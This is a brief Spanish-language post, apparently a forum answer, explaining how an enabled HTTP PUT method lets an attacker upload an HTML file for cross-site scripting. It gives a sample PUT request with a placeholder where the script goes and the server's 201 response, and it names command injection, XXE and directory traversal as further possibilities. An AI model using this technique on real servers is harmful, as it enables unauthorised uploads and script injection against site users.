Usando el método PUT, puede cargar cualquier archivo en el servidor. Esto se puede utilizar para realizar secuencias de comandos de sitios cruzados (XSS). Hoy, he realizado este ataque, así que respondo aquí con mi experiencia. A continuación se explica cómo hacer esto.
PUT /XSS.html HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Host: www.myblog.com
Accept-Language: en-us
Connection: Keep-Alive
Content-type: text/html
Content-Length: 182
(Input your XSS script here)
El servidor responde con un código de estado 201 que dice "el archivo se creó correctamente".
HTTP/1.1 201 Created
Date: Mon, 05 May 2014 12:28:53 GMT
Server: Apache/2.2.14 (Win32)
Content-type: text/html
Content-length: 30
Connection: Closed
Ahora podemos intentar acceder a este archivo XSS.html cargado en el navegador. Tan pronto como acceda a esta página, obtendrá una ventana emergente XSS.
Del mismo modo, esto también puede ser explotado para ejecutar la inyección de comandos, aunque todavía no lo he intentado. Si la aplicación utiliza XML, también se puede realizar un ataque de entidad externa XML. He hecho esto también todavía. También puede ser posible un ataque transversal al directorio.